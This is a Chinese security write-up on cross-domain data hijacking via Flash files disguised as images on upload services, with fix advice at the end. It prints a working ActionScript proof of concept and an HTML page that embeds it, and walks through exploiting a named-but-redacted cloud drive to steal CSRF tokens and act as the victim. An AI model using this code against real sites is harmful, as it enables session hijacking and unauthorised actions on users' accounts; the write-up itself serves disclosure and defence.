0×01 ,背景
很多上传文件的后端逻辑在实现时,仅仅验证了文件后缀名和 Content-Type ,没有对上传文件的内容进行验证。通常情况下这样的处理逻辑仅仅是不严谨,不会造成太大的安全隐患。但经过笔者测试,发现 object 标签在包含 flash 文件时没有对嵌入的文件后缀进行判断。也就是说,只要文件内容包含了正常的 flash 文件代码,就能够被 object 标签成功加载并执行。而 ActionScript 中又提供了多种 API 能够让 Flash 发送网络请求。这样如果能够将任意后缀的 Flash 文件上传到目标域中,就能够在攻击者可控的域下让受害者访问一个精心构造的恶意页面,来对目标域进行跨域的数据劫持,获取受害者当前 Session 下的 CSRF Token ,以受害者的身份打开目标域的任何特权页面,进行特权操作。
0×02 ,利用条件
1, 目标网站的文件上传逻辑没有验证文件内容;
2, 上传的文件没有做域隔离处理;
3, 服务端没有强制设置Content-Disposition响应头;<不直接在浏览器中显示,而是提示保存>
4, 访问上传的文件没有session限制;
0×03 ,攻击场景构造:
首先需要构造一个poc swf文件能够对外发送http请求,这里只做演示用,因此只实现了发送简单的GET请求,代码如下:
importflash . net . URLLoader ; importflash . net . URLRequest ; importflash . net . URLLoaderDataFormat ; importflash . net . URLVariables ; importflash . events . Event ; importflash . events . HTTPStatusEvent ; importflash . events . IOErrorEvent ; importflash . events . ProgressEvent ; importflash . events . SecurityErrorEvent ; importflash . display . LoaderInfo ; importflash . system . Security ; Security . allowDomain ( "*" ); varurlObj : Object = LoaderInfo ( this . root . loaderInfo ). parameters . url ; varrequest : URLRequest = new URLRequest ( urlObj . toString ()); request . method = URLRequestMethod . GET ; varloader : URLLoader = new URLLoader (); itemScroll . x = response . x + response . width ; itemScroll . y = response . y ; itemScroll . height = response . height ; loader . dataFormat = URLLoaderDataFormat . TEXT ; loader . addEventListener ( Event . COMPLETE , loader_complete ); loader . load ( request ); functionloader_complete ( e : Event ): void { trace ( "Event.COMPLETE" ); trace ( "Resp Data :\n" + loader . data ); response . text = loader . data ; itemScroll . scrollTarget = response ; }
首先使用了LoaderInfo(this.root.loaderInfo)从object标签的flashVars参数中提取出要访问的URL,再使用URLLoader对该URL发送GET请求,响应结果回显到一个Text控件中,用作验证。
接下来构造一个页面用于包含 swf 文件,代码如下:
<html> <head> <title> FlashCSRF POC by pnig0s@FreeBuf </title> </head> <body> <h2> FlashCSRF POC by pnig0s@FreeBuf </h2> <div> swf url: <inputtype = "text" id = "swfurl" style = " width : 500 " ></br> hijackurl: <input type = "text" id = "csrfurl" style = " width : 500 " ></br> <inputtype = "button" value = "submit" id = "submit" > </div> <iframename = "swf" style = " width : 1000 ; height : 1000 " ></iframe> <script> functionwriteflashobject ( url , parastr ) { swf = window . frames [ "swf" ]; swf . document . write ( "<objectclassid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\"codebase=\"http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0\"width=\"1000\" height=\"1000\" id=\"FlashVars\"align=\"middle\"\>\n" ); swf . document . write ( "<paramname=\"allowScriptAccess\" value=\"always\"/\>\n" ); swf . document . write ( "<paramname=\"movie\" value=\"FlashVars.swf\" /\>\n" ); swf . document . write ( "<paramname=\"FlashVars\" value=\"" + parastr + "\"/\>\n" ); swf . document . write ( "<paramname=\"quality\" value=\"high\" /\>\n" ); swf . document . write ( "<paramname=\"bgcolor\" value=\"#ffffff\" /\>\n" ); swf . document . write ( "<embedsrc=\"" + url + "\" quality=\"high\"bgcolor=\"#ffffff\" width=\"550\" height=\"400\"name=\"FlashVars\" align=\"middle\" allowScriptAccess=\"always\"FlashVars=\"" + parastr + "\"type=\"application/x-shockwave-flash\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\"/\>" ); swf . document . write ( "</object\>" ); } function get ( name ) { var query = window . location . search . substring ( 1 ); var pairs = query . split ( "&" ); for ( var i = 0 ; i < pairs . length ; i ++) { var pos = pairs [ i ]. indexOf ( '=' ); if ( pos ==- 1 ) continue ; var argname = pairs [ i ]. substring ( 0 , pos ); var value = pairs [ i ]. substring ( pos + 1 ); if ( argname == name ){ return value ;} }; } var submit = document . getElementById ( "submit" ); submit . addEventListener ( "click" , function () { var swfurl = document . getElementById ( "swfurl" ). value ; var param = "url=" + document . getElementById ( "csrfurl" ). value ; //"url="+get("csrfurl"); writeflashobject ( swfurl , param ); return false ; }); </script> </body> </html>
最终的效果如图:
0×03 ,漏洞利用
这里以某知名厂商提供的云盘服务进行测试,演示该漏洞的利用过程。访问该云盘服务的文件上传页面。
将之前写好的 swf文件后缀修改为jpg 并上传,服务端没有检查文件内容,文件上传成功。
将该文件设置成共享状态,这一步是为了让最终的文件访问链接摆脱session状态的限制,能够被其他任何用户访问到。
最终在图片预览状态通过Chrome的DeveloperTool找到图片的直接访问链接。形如
http://foo.com/intf.php?method=Preview.outputPic&xid=178xxx535&fname=%2Freq.jpg&fhash=f9cefd7e900xxxxxx6d47cd5909796e1b9&dt=24.01xxxxxxd8c91c6fefad848&v=1.0.1&rtick=14008172544583&open_app_id=0&devtype=web&sign=8895bd6844bxxxxxx15e42a8b&
通过之前构造的html页面,使用object包含上面的链接,swf文件能够被正常的执行,当其他用户访问该页面,会以该用户的身份打开指定的页面<执行http请求>,造成跨域数据劫持,此时Anti-CSRF已经形同虚设,可以获取CSRF Token,访问特权页面,进行特权操作。
0×04,影响范围
经过笔者测试,国内各知名互联网厂商,及云存储提供商均受到该问题的影响。除此之外,经过测试,一些知名的开源在线编辑器如UEditor,CKEditor,KindEditor,XhEditor,Ewebeditor等也均受到该问题的影响。更多其他厂商及Web应用暂未做更多测试,不过可以预见受该问题影响的站点数量较多。
0×05,修复建议
根据之前提到过的利用条件,修复的方法也就显而易见了。
1,对上传文件内容进行检查:
当然这并不容易,除了jpg类型,能够直接在线访问的文件类型很多,尤其对于云存储服务,以及有些服务功能性上的需要,难以全部进行验证。
2,强制设置Content-Disposition响应头:
设置该头部后能够强制浏览器对文件执行下载操作。但是对国内一些服务测试的过程中也发现了一个问题,有些直接在URL中加了类似downloadtype=1这类参数,直接设置成0就不会强制下载了。所以建议这种参数不要暴露在url中。
3,进行域隔离:
这个没什么好说的,尤其对于一些云盘,云存储的服务,对于用户上传的文件不做域隔离的都是耍流氓的行为。